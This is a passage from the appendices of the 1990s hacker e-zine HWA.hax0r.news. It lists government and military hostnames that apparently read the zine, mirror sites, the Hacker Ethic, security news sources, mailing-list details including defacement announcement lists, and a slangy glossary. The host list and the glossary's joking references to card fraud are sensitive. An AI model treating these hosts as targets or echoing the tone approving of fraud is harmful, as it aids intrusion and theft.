fitzgerald.ags.bnl.gov
zephyr1.pnl.gov
ihvideo.lewisham.gov.uk
shihonage.gsfc.nasa.gov
burnia.dmz.health.nsw.gov.au
ococ.oc.ca.gov
guardian.gov.sg
aragorn.dpa.act.gov.au
ipaccess.gov.ru
eagle-ts222.korea.army.mil
gate1.noc.usmc.mil
eagle-ts209.korea.army.mil
proxy.vandenberg.af.mil
lax.dcmdw.dla.mil
beowulf.ramstein.af.mil
cofcs71.aphis.usda.gov
samds4.sam.pentagon.mil
eg-016-045.eglin.af.mil
pacfa.evepier.navy.mil
obgate.hill.af.mil
biglost.inel.gov
marshall.state.gov
flatline.arc.nasa.gov
mars.istac.gov
gateway1.osd.mil
gateway3.osd.mil
elan5172.cbcph.navy.mil
proxy.gintic.gov.sg
doegate.doe.gov
sunspot.gsfc.nasa.gov
gate1.mcbh.usmc.mil
homer.nawcad.navy.mil
maggie.nawcad.navy.mil
lisa.nawcad.navy.mil
msproxy.transcom.mil
b-kahuna.hickam.af.mil
sc034ws109.nosc.mil
infosec.se
gate2.mcbutler.usmc.mil
sc034ws109.nosc.mil
shq-ot-1178.nosc.mil
dhcp-036190.scott.af.mil
mcreed.lan.teale.ca.gov
dodo.nist.gov
mc1926.mcclellan.af.mil
kwai11.nsf.gov
enduser.faa.gov
vasfw02,fdic.gov
lisa.defcen.gov.au
ps1.pbgc.gov
guardian.gov.sg
amccss229116.scott.af.mil
sc022ws224.nosc.mil
sheppard2.hurlburt.af.mil
marshall.us-state.gov
digger1.defence.gov.au
firewall.mendoza.gov.ar
ipaccess.gov.ru
gatekeeper.itsec-debis.de
fgoscs.itsec-debis.de
fhu-ed4ccdf.fhu.disa.mil
citspr.tyndall.af.mil
kelsatx2.kelly.af.mil
kane.sheppard.af.mil
relay5.nima.mil
host.198-76-34-33.gsa.gov
ntsrvr.vsw.navy.mil
saic2.nosc.mil
wygate.wy.blm.gov
mrwilson.lanl.gov
p722ar.npt.nuwc.navy.mil
ws088228.ramstein.af.mil
car-gw.defence.gov.au
unknown-c-23-147.latimes.com
nytgate1.nytimes.com
There are some interesting machines among these, the *.nosc.mil boxes are
from SPAWAR information warfare centres, good Is It Worth It Followup to see
our boys keeping up with the news... - Ed
@HWA
A.3 Mirror Sites List
~~~~~~~~~~~~~~~~~
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
__ __ _
| \/ (_)_ __ _ __ ___ _ __ ___
| |\/| | | '__| '__/ _ \| '__/ __|
| | | | | | | | | (_) | | \__ \
|_| |_|_|_| |_| \___/|_| |___/
Some of these are not keeping up with new issues like they should be, you
can always get the latest issue from www.csoft.net/~hwa or join us on IRC
(EFnet) in channel #hwa.hax0r.news and check the topic or ask Cruciphux
where the latest issues may be attained. I also upload all issues to
etext.org, the zines are available thru their ftp service, updates are slow.
- Ed
New mirror sites
*** http://blkops.venomous.net/hwa_hax0r_news/hwa_hax0r_news.asp *** NEW ***
*** http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/ ***
http://datatwirl.intranova.net * NEW *
http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
http://net-security.org/hwahaxornews
http://www.attrition.org/hosted/hwa/
http://hwazine.cjb.net/
http://www.hackunlimited.com/files/secu/papers/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
* http://hwa.hax0r.news.8m.com/
* http://www.fortunecity.com/skyscraper/feature/103/
* Crappy free sites of no use to anyone. too lazy to kill em.
*** Most likely to be up to date other than the main site.
HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
thanks to airportman for the Cubesoft bandwidth. Also shouts out to all
our mirror sites! and p0lix for the (now expired) digitalgeeks archive
tnx guys.
http://www.csoft.net/~hwa
HWA.hax0r.news Mirror Sites:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://blkops.venomous.net/hwa_hax0r_news/hwa_hax0r_news.asp
http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
http://www.attrition.org/hosted/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT **
http://www.csoft.net/~hwa/
http://welcome.to/HWA.hax0r.news/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.projectgamma.com/archives/zines/hwa/
http://www.403-security.org/Htmls/hwa.hax0r.news.htm
@HWA
A.4 The hacker's Ethic (90's Style)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ _ _ _ _____ _ _ _
| | | | __ _ ___| | _____ _ __( )__| ____| |_| |__ (_) ___
| |_| |/ _` |/ __| |/ / _ \ '__|/ __| _| | __| '_ \| |/ __|
| _ | (_| | (__| < __/ | \__ \ |___| |_| | | | | (__
|_| |_|\__,_|\___|_|\_\___|_| |___/_____|\__|_| |_|_|\___|
Sadly, due to the traditional ignorance and sensationalizing of the mass
media, the once-noble term hacker has become a perjorative.
Among true computer people, being called a hacker is a compliment. One of
the traits of the true hacker is a profoundly antibureaucratic and
democratic spirit. That spirit is best exemplified by the Hacker's Ethic.
This ethic was best formulated by Steven Levy in his 1984 book Hackers:
Heroes of the Computer Revolution. Its tenets are as follows:
1 - Access to computers should be unlimited and total.
2 - All information should be free.
3 - Mistrust authority - promote decentralization.
4 - Hackers should be judged by their hacking not bogus criteria such as
degrees, age, race, or position.
5 - You create art and beauty on a computer,
6 - Computers can change your life for the better.
The Internet as a whole reflects this ethic.
@HWA
A.5 Sources *** (VERY incomplete)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
____
/ ___| ___ _ _ _ __ ___ ___ ___
\___ \ / _ \| | | | '__/ __/ _ Y __|
___) | (_) | |_| | | | (_| __|__ \
|____/ \___/ \__,_|_| \___\___|___/
Sources can be some, all, or none of the following (by no means complete
nor listed in any degree of importance) Unless otherwise noted, like msgs
from lists or news from other sites, articles and information is compiled
and or sourced by Cruciphux no copyright claimed.
News site.........................http://www.ukhackers.com/ *NEW*
News site.........................http://www.hackernews.com.br/ *NEW*
News & I/O zine ................. http://www.antionline.com/
Back Orifice/cDc..................http://www.cultdeadcow.com/
*News site (HNN) .....,............http://www.hackernews.com/
Help Net Security.................http://net-security.org/
News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/
NewsTrolls .(daily news ).........http://www.newstrolls.com/
General Security/Exploits.........http://packetstorm.securify.com/
News + Exploit archive ...........http://www.rootshell.com/beta/news.html
CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest
News site+........................http://www.zdnet.com/
News site+Security................http://www.gammaforce.org/
News site+Security................http://www.projectgamma.com/
News site+Security................http://securityhole.8m.com/
News site+Security related site...http://www.403-security.org/ s
News/Humour site+ ................http://www.innerpulse.com
News/Techie news site.............http://www.slashdot.org
* HNN Also archives back issues of their news, use the following url format
http://www.hackernews.com/arch.html?012700
where 01=Jan 27=Date 00=Year. They are archived here also as part of the
compilation and broad archival concept we are trying to maintain with this
publication. - Ed
+Various mailing lists and some newsgroups, such as ...
+other sites available on the HNN affiliates page, please see
http://www.hackernews.com/affiliates.html as they seem to be popping up
rather frequently ...
http://www.the-project.org/ .. IRC list/admin archives
http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk
alt.hackers.malicious
alt.hackers
alt.2600
BUGTRAQ
ISN security mailing list
ntbugtraq
win2kbugtraq
<+others>
@HWA
A.6 Resources
~~~~~~~~~
___
| _ \___ ______ _ _ _ _ __ ___ ___
| / -_|_-< _ \ || | '_/ _/ -_|_-<
|_|_\___/__|___/\_,_|_| \__\___/__/
NEWS Agencies, News search engines etc:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PLEASE if you have any changes or additions for this section please
mail them to cruciphux@dok.org. Thank you.
http://www.newsnow.co.uk/-NewsFeed.Tech.htm *NEW* from Tep
http://www.cnn.com/SEARCH/
http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
http://www.ottawacitizen.com/business/
http://search.yahoo.com.sg/search/news_sg?p=hack
http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
http://www.zdnet.com/zdtv/cybercrime/
http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
NOTE: See appendices for details on other links.
http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
http://freespeech.org/eua/ Electronic Underground Affiliation
http://ech0.cjb.net ech0 Security
http://axon.jccc.net/hir/ Hackers Information Report
http://net-security.org Net Security
http://www.403-security.org Daily news and security related site
http://www.hack.co.za/ Current exploits archive
** Due to excessive network attacks this site is now being mirrored
at http://www.siliconinc.net/hack/
Please send in links that you think should belong here to keep this section
up to date, it is overdue updating!.
A.7 Submissions/Hints/Tips/Etc
~~~~~~~~~~~~~~~~~~~~~~~~~~
____ _ _ _
/ ___| _ _| |__ _ __ ___ (_)___ ___(_) ___ _ __ ___
\___ \| | | | '_ \| '_ ` _ \| / __/ __| |/ _ \| '_ \/ __|
___) | |_| | |_) | | | | | | \__ \__ \ | (_) | | | \__ \
|____/ \__,_|_.__/|_| |_| |_|_|___/___/_|\___/|_| |_|___/
All submissions that are `published' are printed with the credits
you provide, if no response is received by a week or two it is assumed
that you don't care wether the article/email is to be used in an issue
or not and may be used at my discretion.
Looking for:
Good news sites that are not already listed here OR on the HNN affiliates
page at http://www.hackernews.com/affiliates.html
Magazines (complete or just the articles) of breaking sekurity or hacker
activity in your region, this includes telephone phraud and any other
technological use, abuse hole or cool thingy. ;-) cut em out and send it
to the drop box.
- Ed
A.8 Mailing list Info
~~~~~~~~~~~~~~~~~
Mailing List Subscription Info (Far from complete) Feb 1999
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~
ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
ATTRITION.ORG's Website defacement mirror and announcement lists
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.attrition.org/mirror/attrition/
http://www.attrition.org/security/lists.html
--
defaced [web page defacement announce list]
This is a public LOW VOLUME (1) mail list to circulate news/info on
defaced web sites. To subscribe to Defaced, send mail to
majordomo@attrition.org with "subscribe defaced" in the BODY of
the mail.
There will be two types of posts to this list:
1. brief announcements as we learn of a web defacement.
this will include the site, date, and who signed the
hack. we will also include a URL of a mirror of the hack.
2. at the end of the day, a summary will be posted
of all the hacks of the day. these can be found
on the mirror site listed under 'relevant links'
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: mcintyre@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
(1) It is low volume on a normal day. On days of many defacements,
traffic may be increased. On a few days, it is a virtual mail
flood. You have been warned. ;)
-=-
--
defaced summary [web page defacement announce list]
This is a low traffic mail list to announce all publicly
defaced domains on a given day. To subscribe to Defaced-Summary, send mail to
majordomo@attrition.org with "subscribe defaced-summary" in the BODY of
the mail.
There will be ONE type of post to this list:
1. a single nightly piece of mail listing all reported
domains. the same information can be found on
http://www.attrition.org/mirror/attrition/
via sporadic updates.
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: jericho@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
-=-
defaced GM [web page defacement announce list]
This is a low traffic mail list to announce all publicly
defaced government and military domains on a given day. To subscribe to
Defaced-GM, send mail to majordomo@attrition.org with "subscribe defaced-gm"
in the BODY of the mail.
There will be ONE type of post to this list:
1. sporadic pieces of mail for each government (.gov)
or military (.mil) system defaced. the same information
can be found on http://www.attrition.org/mirror/attrition/
via sporadic updates.
This list is designed primarily for government and military
personell charged with tracking security incidents on
government run networks.
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: jericho@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
--
defaced alpha [web page defacement announce list]
This is a low traffic mail list to announce via alpha-numeric
pagers, all publicly defaced government and military domains
on a given day. To subscribe to Defaced-Alpha, send mail to
majordomo@attrition.org with "subscribe defaced-alpha" in
the BODY of the mail.
There will be ONE type of post to this list:
1. sporadic pieces of mail for each government (.gov)
or military (.mil) system defaced. the information
will only include domain names. the same information
can be found on http://www.attrition.org/mirror/attrition/
via sporadic updates.
This list is designed primarily for government and military
personell charged with tracking security incidents on
government run networks. Further, it is designed for
quick response and aimed at law enforcement agencies like
DCIS and the FBI.
To subscribe to this list, a special mail will be sent to YOUR
alpha-numeric pager. A specific response must be made within
12 hours of receiving the mail to be subscribed. If the response
is not received, it is assumed the mail was not sent to your
pager.
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: jericho@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
-=-
THE MOST READ:
BUGTRAQ - Subscription info
~~~~~~~~~~~~~~~~~~~~~~~~~~~
What is Bugtraq?
Bugtraq is a full-disclosure UNIX security mailing list, (see the info
file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
bugtraq, send mail to listserv@netspace.org containing the message body
subscribe bugtraq. I've been archiving this list on the web since late
1993. It is searchable with glimpse and archived on-the-fly with hypermail.
Searchable Hypermail Index;
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
About the Bugtraq mailing list
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following comes from Bugtraq's info file:
This list is for *detailed* discussion of UNIX security holes: what they are,
how to exploit, and what to do to fix them.
This list is not intended to be about cracking systems or exploiting their
vulnerabilities. It is about defining, recognizing, and preventing use of
security holes and risks.
Please refrain from posting one-line messages or messages that do not contain
any substance that can relate to this list`s charter.
I will allow certain informational posts regarding updates to security tools,
documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
on this list.
Please follow the below guidelines on what kind of information should be posted
to the Bugtraq list:
+ Information on Unix related security holes/backdoors (past and present)
+ Exploit programs, scripts or detailed processes about the above
+ Patches, workarounds, fixes
+ Announcements, advisories or warnings
+ Ideas, future plans or current works dealing with Unix security
+ Information material regarding vendor contacts and procedures
+ Individual experiences in dealing with above vendors or security
organizations
+ Incident advisories or informational reporting
Any non-essential replies should not be directed to the list but to the
originator of the message. Please do not "CC" the bugtraq reflector
address if the response does not meet the above criteria.
Remember: YOYOW.
You own your own words. This means that you are responsible for the words
that you post on this list and that reproduction of those words without
your permission in any medium outside the distribution of this list may be
challenged by you, the author.
For questions or comments, please mail me:
chasin@crimelab.com (Scott Chasin)
UPDATED Sept/99 - Sent in by Androthi, tnx for the update
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I am pleased to inform you of several changes that will be occurring
on June 5th. I hope you find them as exciting as I do.
BUGTRAQ moves to a new home
---------------------------
First, BUGTRAQ will be moving from its current home at NETSPACE.ORG
to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read
below. Other than the change of domains nothing of how the list
is run changes. I am still the moderator. We play by the same rules.
Security Focus will be providing mail archives for BUGTRAQ. The
archives go back longer than Netspace's and are more complete than
Geek-Girl's.
The move will occur one week from today. You will not need to
resubscribe. All your information, including subscription options
will be moved transparently.
Any of you using mail filters (e.g. procmail) to sort incoming
mail into mail folders by examining the From address will have to
update them to include the new address. The new address will be:
BUGTRAQ@SECURITYFOCUS.COM
Security Focus also be providing a free searchable vulnerability
database.
BUGTRAQ es muy bueno
--------------------
It has also become apparent that there is a need for forums
in the spirit of BUGTRAQ where non-English speaking people
or people that don't feel comfortable speaking English can
exchange information.
As such I've decided to give BUGTRAQ in other languages a try.
BUGTRAQ will continue to be the place to submit vulnerability
information, but if you feel more comfortable using some other
language you can give the other lists a try. All relevant information
from the other lists which have not already been covered here
will be translated and forwarded on by the list moderator.
In the next couple of weeks we will be introducing BUGTRAQ-JP
(Japanese) which will be moderated by Nobuo Miwa <n-miwa@lac.co.jp>
and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A.
from Argentina <http://www.core-sdi.com/> (the folks that brought you
Secure Syslog and the SSH insertion attack).
What is Security Focus?
-----------------------
Security Focus is an exercise in creating a community and a security
resource. We hope to be able to provide a medium where useful and
successful resources such as BUGTRAQ can occur, while at the same
time providing a comprehensive source of security information. Aside
from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl
herself!) have moved over to Security Focus to help us with building
this new community. The other staff at Security Focus are largely derived
from long time supporters of Bugtraq and the community in general. If
you are interested in viewing the staff pages, please see the 'About'
section on www.securityfocus.com.
On the community creating front you will find a set of forums
and mailing lists we hope you will find useful. A number of them
are not scheduled to start for several weeks but starting today
the following list is available:
* Incidents' Mailing List. BUGTRAQ has always been about the
discussion of new vulnerabilities. As such I normally don't approve
messages about break-ins, trojans, viruses, etc with the exception
of wide spread cases (Melissa, ADM worm, etc). The other choice
people are usually left with is email CERT but this fails to
communicate this important information to other that may be
potentially affected.
The Incidents mailing list is a lightly moderated mailing list to
facilitate the quick exchange of security incident information.
Topical items include such things as information about rootkits
new trojan horses and viruses, source of attacks and tell-tale
signs of intrusions.
To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body
of:
SUBS INCIDENTS FirstName, LastName
Shortly we'll also be introducing an Information Warfare forum along
with ten other forums over the next two months. These forums will be
built and moderated by people in the community as well as vendors who
are willing to take part in the community building process.
*Note to the vendors here* We have several security vendors who have
agreed to run forums where they can participate in the online communities.
If you would like to take part as well, mail Alfred Huger,
ahuger@securityfocus.com.
On the information resource front you find a large database of
the following:
* Vulnerabilities. We are making accessible a free vulnerability
database. You can search it by vendor, product and keyword. You
will find detailed information on the vulnerability and how to fix it,
as well are links to reference information such as email messages,
advisories and web pages. You can search by vendor, product and
keywords. The database itself is the result of culling through 5
years of BUGTRAQ plus countless other lists and news groups. It's
a shining example of how thorough full disclosure has made a significant
impact on the industry over the last half decade.
* Products. An incredible number of categorized security products
from over two hundred different vendors.
* Services. A large and focused directory of security services offered by
vendors.
* Books, Papers and Articles. A vast number of categorized security
related books, papers and articles. Available to download directly
for our servers when possible.
* Tools. A large array of free security tools. Categorized and
available for download.
* News: A vast number of security news articles going all the way
back to 1995.
* Security Resources: A directory to other security resources on
the net.
As well as many other things such as an event calendar.
For your convenience the home-page can be personalized to display
only information you may be interested in. You can filter by
categories, keywords and operating systems, as well as configure
how much data to display.
I'd like to thank the fine folks at NETSPACE for hosting the
site for as long as they have. Their services have been invaluable.
I hope you find these changes for the best and the new services
useful. I invite you to visit http://www.securityfocus.com/ and
check it out for yourself. If you have any comments or suggestions
please feel free to contact me at this address or at
aleph1@securityfocus.com.
Cheers.
--
Aleph One / aleph1@underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
Crypto-Gram
~~~~~~~~~~~
CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
insights, and commentaries on cryptography and computer security.
To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
blank message to crypto-gram-subscribe@chaparraltree.com. To unsubscribe,
visit http://www.counterpane.com/unsubform.html. Back issues are available
on http://www.counterpane.com.
CRYPTO-GRAM is written by Bruce Schneier. Schneier is president of
Counterpane Systems, the author of "Applied Cryptography," and an inventor
of the Blowfish, Twofish, and Yarrow algorithms. He served on the board of
the International Association for Cryptologic Research, EPIC, and VTW. He
is a frequent writer and lecturer on cryptography.
CUD Computer Underground Digest
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This info directly from their latest ish:
Computer underground Digest Sun 14 Feb, 1999 Volume 11 : Issue 09
ISSN 1004-042X
Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
Archivist: Brendan Kehoe
Poof Reader: Etaion Shrdlu, Jr.
Shadow-Archivists: Dan Carosone / Paul Southworth
Ralph Sims / Jyrki Kuoppala
Ian Dickinson
Cu Digest Homepage: http://www.soci.niu.edu/~cudigest
[ISN] Security list
~~~~~~~~~~~~~~~~~~~
This is a low volume list with lots of informative articles, if I had my
way i'd reproduce them ALL here, well almost all .... ;-) - Ed
UPDATED Sept/99 - Sent in by Androthi, tnx for the update
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--[ New ISN announcement (New!!)
Sender: ISN Mailing List <ISN@SECURITYFOCUS.COM>
From: mea culpa <jericho@DIMENSIONAL.COM>
Subject: Where has ISN been?
Comments: To: InfoSec News <isn@securityfocus.com>
To: ISN@SECURITYFOCUS.COM
It all starts long ago, on a network far away..
Not really. Several months ago the system that hosted the ISN mail list
was taken offline. Before that occured, I was not able to retrieve the
subscriber list. Because of that, the list has been down for a while. I
opted to wait to get the list back rather than attempt to make everyone
resubscribe.
As you can see from the headers, ISN is now generously being hosted by
Security Focus [www.securityfocus.com]. THey are providing the bandwidth,
machine, and listserv that runs the list now.
Hopefully, this message will find all ISN subscribers, help us weed out
dead addresses, and assure you the list is still here. If you have found
the list to be valuable in the past, please tell friends and associates
about the list. To subscribe, mail listserv@securityfocus.com with
"subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn".
As usual, comments and suggestions are welcome. I apologize for the down
time of the list. Hopefully it won't happen again. ;)
mea_culpa
www.attrition.org
--[ Old ISN welcome message
[Last updated on: Mon Nov 04 0:11:23 1998]
InfoSec News is a privately run, medium traffic list that caters
to distribution of information security news articles. These
articles will come from newspapers, magazines, online resources,
and more.
The subject line will always contain the title of the article, so that
you may quickly and effeciently filter past the articles of no interest.
This list will contain:
o Articles catering to security, hacking, firewalls, new security
encryption, products, public hacks, hoaxes, legislation affecting
these topics and more.
o Information on where to obtain articles in current magazines.
o Security Book reviews and information.
o Security conference/seminar information.
o New security product information.
o And anything else that comes to mind..
Feedback is encouraged. The list maintainers would like to hear what
you think of the list, what could use improving, and which parts
are "right on". Subscribers are also encouraged to submit articles
or URLs. If you submit an article, please send either the URL or
the article in ASCII text. Further, subscribers are encouraged to give
feedback on articles or stories, which may be posted to the list.
Please do NOT:
* subscribe vanity mail forwards to this list
* subscribe from 'free' mail addresses (ie: juno, hotmail)
* enable vacation messages while subscribed to mail lists
* subscribe from any account with a small quota
All of these generate messages to the list owner and make tracking
down dead accounts very difficult. I am currently receiving as many
as fifty returned mails a day. Any of the above are grounds for
being unsubscribed. You are welcome to resubscribe when you address
the issue(s).
Special thanks to the following for continued contribution:
William Knowles, Aleph One, Will Spencer, Jay Dyson,
Nicholas Brawn, Felix von Leitner, Phreak Moi and
other contributers.
ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn
ISN Archive: http://www.landfield.com/isn
ISN Archive: http://www.jammed.com/Lists/ISN/
ISN is Moderated by 'mea_culpa' <jericho@dimensional.com>. ISN is a
private list. Moderation of topics, member subscription, and
everything else about the list is solely at his discretion.
The ISN membership list is NOT available for sale or disclosure.
ISN is a non-profit list. Sponsors are only donating to cover bandwidth
and server costs.
Win2k Security Advice Mailing List (new added Nov 30th)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To subscribe:
send "SUBSCRIBE WIN2KSECADVICE anonymous or name" in the message body
to listserv@listserv.ntsecurity.net
Welcome to Win2K Security Advice! Thank you for subscribing. If you have any
questions or comments about the list please feel free to contact the list
moderator, Steve Manzuik, at steve@win2ksecadvice.net.
To see what you've missed recently on the list, or to research an item
of interest, be sure to visit the Web-based archives located at:
http://www.ntsecurity.net/scripts/page_listserv.asp?s=win2ksec
==============
NTSecurity.net brings the security community a brand new (Oct 99) and
much-requested Windows security mailing list. This new moderated mailing list,
Win2KSecAdvice (formerly NTSecAdvice,) is geared towards promoting the open
discussion of Windows-related security issues.
With a firm and unwavering commitment towards timely full disclosure, this
new resource promises to become a great forum for open discussion
regarding security-related bugs, vulnerabilities, potential exploits, virus,
worms, Trojans, and more. Win2KSecAdvice promotes a strong sense of community
and we openly invite all security minded individuals, be they white hat,
gray hat, or black hat, to join the new mailing list.
While Win2KSecAdvice was named in the spirit of Microsoft's impending product
line name change, and meant to reflect the list's security focus both now and
in the long run, it is by no means limited to security topics centered around
Windows 2000. Any security issues that pertain to Windows-based networking are
relevant for discussion, including all Windows operating systems, MS Office,
MS BackOffice, and all related third party applications and hardware.
The scope of Win2KSecAdvice can be summarized very simply: if it's relevant to
a security risk, it's relevant to the list.
The list archives are available on the Web at http://www.ntsecurity.net,
which include a List Charter and FAQ, as well as Web-based searchable list
archives for your research endeavors.
SAVE THIS INFO FOR YOUR REFERENCE:
To post to the list simply send your email to
win2ksecadvice@listserv.ntsecurity.net
To unsubscribe from this list, send UNSUBSCRIBE WIN2KSECADVICE to
listserv@listserv.ntsecurity.net
Regards,
Steve Manzuik, List Moderator
Win2K Security Advice
steve@win2ksecadvice.net
@HWA
A.9 Whats in a name? why HWA.hax0r.news??
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Well what does HWA stand for? never mind if you ever find out I may
have to get those hax0rs from 'Hackers' or the Pretorians after you.
In case you couldn't figure it out hax0r is "new skewl" and although
it is laughed at, shunned, or even pidgeon holed with those 'dumb
leet (l33t?) dewds' <see article in issue #4> this is the state
of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
up and comers, i'd highly recommend you get that book. Its almost
like buying a clue. Anyway..on with the show .. - Editorial staff
@HWA
A.10 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ ___ ___ _____ _ ___
| | | \ \ / / \ | ___/ \ / _ \
| |_| |\ \ /\ / / _ \ | |_ / _ \| | | |
| _ | \ V V / ___ \ _| _/ ___ \ |_| |
|_| |_| \_/\_/_/ \_(_)_|/_/ \_\__\_\
Also released in issue #3. (revised) check that issue for the faq
it won't be reprinted unless changed in a big way with the exception
of the following excerpt from the FAQ, included to assist first time
readers:
Some of the stuff related to personal useage and use in this zine are
listed below: Some are very useful, others attempt to deny the any possible
attempts at eschewing obfuscation by obsucuring their actual definitions.
@HWA - see EoA ;-)
!= - Mathematical notation "is not equal to" or "does not equal"
ASC(247) "wavey equals" sign means "almost equal" to. If written
an =/= (equals sign with a slash thru it) also means !=, =< is Equal
to or less than and => is equal to or greater than (etc, this aint
fucking grade school, cripes, don't believe I just typed all that..)
AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)
AOL - A great deal of people that got ripped off for net access by a huge
clueless isp with sekurity that you can drive buses through, we're
not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
least they could try leasing one??
*CC - 1 - Credit Card (as in phraud)
2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's
CCC - Chaos Computer Club (Germany)
*CON - Conference, a place hackers crackers and hax0rs among others go to swap
ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
watch videos and seminars, get drunk, listen to speakers, and last but
not least, get drunk.
*CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
speak he's the guy that breaks into systems and is often (but by no
means always) a "script kiddie" see pheer
2 . An edible biscuit usually crappy tasting without a nice dip, I like
jalapeno pepper dip or chives sour cream and onion, yum - Ed
Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
ebonics, speaking in a dark tongue ... being ereet, see pheer
EoC - End of Commentary
EoA - End of Article or more commonly @HWA
EoF - End of file
EoD - End of diatribe (AOL'ers: look it up)
FUD - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
usually in general media articles not high brow articles such as ours or other
HNN affiliates ;)
du0d - a small furry animal that scurries over keyboards causing people to type
weird crap on irc, hence when someone says something stupid or off topic
'du0d wtf are you talkin about' may be used.
*HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R
*HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
define, I think it is best defined as pop culture's view on The Hacker ala
movies such as well erhm "Hackers" and The Net etc... usually used by "real"
